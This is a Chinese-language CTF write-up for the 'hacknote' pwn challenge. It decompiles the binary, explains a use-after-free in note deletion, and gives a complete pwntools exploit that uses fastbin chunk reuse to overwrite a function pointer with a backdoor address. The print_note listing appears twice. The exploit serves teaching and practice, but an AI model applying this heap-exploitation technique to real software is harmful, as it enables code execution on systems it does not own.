分类 writeups 下的文章

题目分析

题目:hacknote

$ checksec hacknote
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

IDA分析该程序主要有三个功能:添加节点、删除节点和显示节点

unsigned int print_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");                      // 判断是否出界
    _exit(0);
  }
  if ( notelist[index] )
    (*(void (__cdecl **)(void *))notelist[index])(notelist[index]);
  return __readgsdword(0x14u) ^ v3;
}

unsigned int del_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);                           // 获取要删除的节点
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[index] )
  {
    free(*((void **)notelist[index] + 1));      // content指针清空
    free(notelist[index]);                      // 节点清空
    puts("Success");                            // 释放content和节点之后并没有把节点列表的指针设置为NULL,存在UAF
  }
  return __readgsdword(0x14u) ^ v3;
}

unsigned int print_note()
{
  int index; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  index = atoi(&buf);
  if ( index < 0 || index >= count )
  {
    puts("Out of bound!");                      // 判断是否出界
    _exit(0);
  }
  if ( notelist[index] )
    (*(void (__cdecl **)(void *))notelist[index])(notelist[index]);
  return __readgsdword(0x14u) ^ v3;
}

还有一个预留好的后门函数(真贴心)

int magic()
{
  return system("cat flag");                    // back door func
}

经过审计发现,在删除节点时只是free了两个chunk,但是并没有把节点列表的值设为NULL,这导致我们可以在free后再次使用。

由于节点列表中每个值指向一个size为16的chunk,其中可用区域前4字节作为函数指针,后四字节作为指向content部分的指针,content的大小可以自由控制。于是可以利用fastbin的特性,分两次分别申请16&24 16&16的chunk,再从后往前free掉。这时候如果再重新申请16&16的chunk,之前申请的第三个chunk,也就是记录了函数指针的chunk在此次申请中作为content chunk,可以自由控制。只要往里面写入backdoor函数的地址,再执行print函数(UAF)显示index 1的内容,就可以get flag了。

完整exp

#!/usr/bin/python3
from pwn import *
import re
p=process("hacknote")
elf=ELF("hacknote")
backdoor=elf.symbols[b"magic"]
print("Backdoor addr:",backdoor)

def add(size:int,content):
    p.send(b"1")
    p.sendafter(b"Note size :",str(size).encode())
    p.sendafter(b"Content :",content)
    print(p.recv().decode())
    
def remove(index):
    p.send(b"2")
    p.sendafter(b"Index :",str(index).encode())
    print(p.recv().decode())
    
def show(index):
    p.send(b"3")
    p.sendafter(b"Index :",str(index).encode())
    print(re.findall(r"flag{[a-z0-9A-Z_]+}$",p.recv().decode()))
    
print(p.recv().decode())

add(16,b"a"*16)
add(8,b"b"*8)
remove(1)
remove(0)
add(8,p32(backdoor)+b"\x00"*4)
show(1)
#p.interactive()